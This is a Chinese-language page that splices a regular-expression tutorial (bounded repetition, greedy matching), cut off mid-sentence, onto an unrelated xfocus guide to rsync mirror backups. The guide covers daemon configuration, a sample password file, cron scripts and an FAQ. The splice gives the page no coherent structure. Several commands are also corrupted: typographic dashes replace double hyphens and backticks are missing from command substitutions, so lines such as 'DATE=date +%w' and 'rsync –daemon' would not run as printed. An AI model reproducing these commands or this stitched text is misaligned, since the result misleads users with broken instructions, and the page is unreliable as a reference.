<[A-Za-z][A-Za-z0-9]*>匹配没有属性的HTML标签,“<”以及“>”是文字符号。第一个字符集匹配一个字母,第二个字符集匹配一个字母或数字。

我们似乎也可以用<[A-Za-z0-9]+>。但是它会匹配<1>。但是这个正则表达式在你知道你要搜索的字符串不包含类似的无效标签时还是足够有效的。

·限制性重复

许多现代的正则表达式实现,都允许你定义对一个字符重复多少次。词法是:{min,max}。min和max都是非负整数。如果逗号有而max被忽略了,则max没有限制。如果逗号和max都被忽略了,则重复min次。

因此{0,}和*一样,{1,}和+ 的作用一样。

你可以用<<\b[1-9][0-9]{3}\b>>匹配1000~9999之间的数字(“\b”表示单词边界)。<<\b[1-9][0-9]{2,4}\b>>匹配一个在100~99999之间的数字。

·注意贪婪性

假设你想用一个正则表达式匹配一个HTML标签。你知道输入将会是一个有效的HTML文件,因此正则表达式不需要排除那些无效的标签。所以如果是在两个尖括号之间的内容,就应该是一个HTML标签。

许多正则表达式的新手会首先想到用正则表达式<< <.+> >>,他们会很惊讶的发现,对于测试字符串,“This is a <EM>first</EM> test”,你可能期望会返回<EM>,然后继续进行匹配的时候,返回</EM>。

但事实是不会。正则表达式将会匹配“<EM>first</EM>”。很显然这不是我们想要的结果。原因在于“+”是贪婪的。也就是说,“+”会导致正则表达式引擎试图尽可能的重复前导字符。只有当这种重复会引起整个正则表达式匹配失败的情况下,引擎会进行回溯。也就是说,它会放弃最后一次的“重复”,然后处理正则表达式余下的部分。

和“+”类似,“?*”的重复也是贪婪的。

·深入正则表达式引擎内部

让我们来看看正则引擎如何匹配前面的例子。第一个记号是“<”,这是一个文字符号。第二个符号是“.”,匹配了字符“E”,然后“+”一直可以匹配其余的字符,直到一行的结束。然后到了换行符

用rsync对网站进行镜像备份/zz/

by inburst<[email protected]>
http://xfocus.org

对系统管理员来说,平时的工作重心应该集中在维护系统正常运转,能够正常提供服务上,这里往往牵涉到一个数据备份的问题,在我所了解

的情况中,有80%的系统管理员不是太关心自己服务器的安全性,但往往对备分镜像的技术相当感兴趣,但由于商业产品的软硬件价格都相当高

昂,因此往往会选择自由软件。这里准备介绍的rsync就是这样的软件,它可以满足绝大多数要求不是特别高的备份需求。

一、特性简介

rsync是类unix系统下的数据镜像备份工具,从软件的命名上就可以看出来了——remote sync。它的特性如下:

1、可以镜像保存整个目录树和文件系统。
2、可以很容易做到保持原来文件的权限、时间、软硬链接等等。
3、无须特殊权限即可安装。
4、优化的流程,文件传输效率高。
5、可以使用rcp、ssh等方式来传输文件,当然也可以通过直接的socket连接。
6、支持匿名传输。

二、使用方法

rsync的使用方法很简单,我就举自己使用的例子来说明吧。

1、系统环境

rsync支持大多数的类unix系统,无论是Linux、Solaris还是BSD上都经过了良好的测试。我的系统环境为:

server: FreeBSD 4.3 ip: 192.168.168.52
client: Solaris 8 ip: 192.168.168.137
rsync 版本 2.4.6(可以从http://rsync.samba.org/rsync/获得最新版本)

2、配置server端的/etc/rsyncd.conf文件

bash-2.03# cat /etc/rsyncd.conf

uid = nobody
gid = nobody
use chroot = no # 不使用chroot
max connections = 4 # 最大连接数为4
pid file = /var/run/rsyncd.pid
lock file = /var/run/rsync.lock
log file = /var/log/rsyncd.log # 日志记录文件

[inburst] # 这里是认证的模块名,在client端需要指定
path = /home/inburst/python/ # 需要做镜像的目录
comment = BACKUP CLIENT IS SOLARIS 8 E250
ignore errors # 可以忽略一些无关的IO错误
read only = yes # 只读
list = no # 不允许列文件
auth users = inburst # 认证的用户名,如果没有这行,则表明是匿名
secrets file = /etc/inburst.pas # 认证文件名

[web]
path = /usr/local/apache/htdocs/
comment = inburst.org web server

3、在server端生成一个密码文件/etc/inburst.pas

bash-2.03# cat /etc/inburst.pas
inburst:hack

出于安全目的,文件的属性必需是只有属主可读。

4、在server端将rsync以守护进程形式启动

bash-2.03# rsync –daemon

如果要在启动时把服务起来,有几种不同的方法,比如:

a、加入inetd.conf

编辑/etc/services,加入rsync 873/tcp,指定rsync的服务端口是873
编加/etc/inetd.conf,加入rsync stream tcp nowait root /bin/rsync rsync –daemon

b、加入rc.local

在各种操作系统中,rc文件存放位置不尽相同,可以修改使系统启动时rsync –daemon加载进去。

5、从client端进行测试

下面这个命令行中-vzrtopg里的v是verbose,z是压缩,r是recursive,topg都是保持文件原有属性如属主、时间的参数。–progress是指显示

出详细的进度情况,–delete是指如果服务器端删除了这一文件,那么客户端也相应把文件删除,保持真正的一致。后面的inburst@ip中,

inburst是指定密码文件中的用户名,之后的::inburst这一inburst是模块名,也就是在/etc/rsyncd.conf中自定义的名称。最后的/tmp是备份

到本地的目录名。

在这里面,还可以用-e ssh的参数建立起加密的连接。可以用–password-file=/password/path/file来指定密码文件,这样就可以在脚本中使

用而无需交互式地输入验证密码了,这里需要注意的是这份密码文件权限属性要设得只有属主可读。

bash-2.03# rsync -vzrtopg –progress –delete [email protected]::inburst /tmp/
Password:
receiving file list … done
./
1
785 (100%)
1.py
4086 (100%)
2.py
10680 (100%)
a
0 (100%)
ip
3956 (100%)
./
wrote 190 bytes read 5499 bytes 758.53 bytes/sec
total size is 19507 speedup is 3.43

6、创建更新脚本

如果有比较复杂的工作,利用一些常见的脚本语言可以有帮助。比如:

bash-2.03# cat /usr/local/bin/rsync.sh

#!/bin/sh
DATE=date +%w

rsync -vzrtopg –progress –delete [email protected]::inburst /home/quack/backup/$DATE –password-file=/etc/rsync.pass >

/var/log/rsync.$DATE

7、修改/etc/crontab做好定时

比如:

bash-2.03# echo “15 4 * * 6 root rsync.sh”>>/etc/crontab

三、FAQ

Q:如何通过ssh进行rsync,而且无须输入密码?
A:可以通过以下几个步骤

1. 通过ssh-keygen在server A上建立SSH keys,不要指定密码,你会在~/.ssh下看到identity和identity.pub文件
2. 在server B上的home目录建立子目录.ssh
3. 将A的identity.pub拷贝到server B上
4. 将identity.pub加到~[user b]/.ssh/authorized_keys
5. 于是server A上的A用户,可通过下面命令以用户B ssh到server B上了
e.g. ssh -l userB serverB
这样就使server A上的用户A就可以ssh以用户B的身份无需密码登陆到server B上了。

Q:如何通过在不危害安全的情况下通过防火墙使用rsync?
A:解答如下:

这通常有两种情况,一种是服务器在防火墙内,一种是服务器在防火墙外。
无论哪种情况,通常还是使用ssh,这时最好新建一个备份用户,并且配置sshd仅允许这个用户通过RSA认证方式进入。
如果服务器在防火墙内,则最好限定客户端的IP地址,拒绝其它所有连接。
如果客户机在防火墙内,则可以简单允许防火墙打开TCP端口22的ssh外发连接就ok了。

Q:我能将更改过或者删除的文件也备份上来吗?
A:当然可以:

你可以使用如:rsync -other -options -backupdir = ./backup-2000-2-13 …这样的命令来实现。
这样如果源文件:/path/to/some/file.c改变了,那么旧的文件就会被移到./backup-2000-2-13/path/to/some/file.c,这里这个目录需要自己

手工建立起来

Q:我需要在防火墙上开放哪些端口以适应rsync?
A:视情况而定

rsync可以直接通过873端口的tcp连接传文件,也可以通过22端口的ssh来进行文件传递,但你也可以通过下列命令改变它的端口:

rsync –port 8730 otherhost::
或者
rsync -e ‘ssh -p 2002’ otherhost:

Q:我如何通过rsync只复制目录结构,忽略掉文件呢?
A:rsync -av –include ‘*/’ –exclude ‘*’ source-dir dest-dir

Q:为什么我总会出现”Read-only file system”的错误呢?
A:看看是否忘了设”read only = no”了

Q:为什么我会出现’@ERROR: invalid gid’的错误呢?
A:rsync使用时默认是用uid=nobody;gid=nobody来运行的,如果你的系统不存在nobody组的话,就会出现这样的错误,可以试试gid =

nogroup或者其它

Q:绑定端口873失败是怎么回事?
A:如果你不是以root权限运行这一守护进程的话,因为1024端口以下是特权端口,会出现这样的错误。你可以用–port参数来改变。

Q:为什么我认证失败?
A:从你的命令行看来:

你用的是:
> bash$ rsync -a 144.16.251.213::test test
> Password:
> @ERROR: auth failed on module test
>
> I dont understand this. Can somebody explain as to how to acomplish this.
> All suggestions are welcome.

应该是没有以你的用户名登陆导致的问题,试试rsync -a [email protected]::test test

四、一些可借鉴的脚本

这里这些脚本都是rsync网站上的例子:

1、每隔七天将数据往中心服务器做增量备份

#!/bin/sh

# This script does personal backups to a rsync backup server. You will end up
# with a 7 day rotating incremental backup. The incrementals will go
# into subdirectories named after the day of the week, and the current
# full backup goes into a directory called “current”
# [email protected]

# directory to backup
BDIR=/home/$USER

# excludes file – this contains a wildcard pattern per line of files to exclude
EXCLUDES=$HOME/cron/excludes

# the name of the backup machine
BSERVER=owl

# your password on the backup server
export RSYNC_PASSWORD=XXXXXX

########################################################################

BACKUPDIR=date +%A
OPTS=”–force –ignore-errors –delete-excluded –exclude-from=$EXCLUDES
–delete –backup –backup-dir=/$BACKUPDIR -a”

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin

# the following line clears the last weeks incremental directory
[ -d $HOME/emptydir ] || mkdir $HOME/emptydir
rsync –delete -a $HOME/emptydir/ $BSERVER::$USER/$BACKUPDIR/
rmdir $HOME/emptydir

# now the actual transfer
rsync $OPTS $BDIR $BSERVER::$USER/current

2、备份至一个空闲的硬盘

#!/bin/sh

export PATH=/usr/local/bin:/usr/bin:/bin

LIST=”rootfs usr data data2″

for d in $LIST; do
mount /backup/$d
rsync -ax –exclude fstab –delete /$d/ /backup/$d/
umount /backup/$d
done

DAY=date "+%A"

rsync -a –delete /usr/local/apache /data2/backups/$DAY
rsync -a –delete /data/solid /data2/backups/$DAY

3、对vger.rutgers.edu的cvs树进行镜像

#!/bin/bash

cd /var/www/cvs/vger/
PATH=/usr/local/bin:/usr/freeware/bin:/usr/bin:/bin

RUN=lps x | grep rsync | grep -v grep | wc -l
if [ “$RUN” -gt 0 ]; then
echo already running
exit 1
fi

rsync -az vger.rutgers.edu::cvs/CVSROOT/ChangeLog $HOME/ChangeLog

sum1=sum $HOME/ChangeLog
sum2=sum /var/www/cvs/vger/CVSROOT/ChangeLog

if [ “$sum1” = “$sum2” ]; then
echo nothing to do
exit 0
fi

rsync -az –delete –force vger.rutgers.edu::cvs/ /var/www/cvs/vger/
exit 0

4、利用find的一种巧妙方式

rsync -avR remote:’find /home -name "*.[ch]"‘ /tmp/

可以用这种方法列出需要备份的文件列表——这种方法似乎比较少人用到。

五、参考资料:

1、http://rsync.samba.org/
2、rsync examples
3、rsync FAQ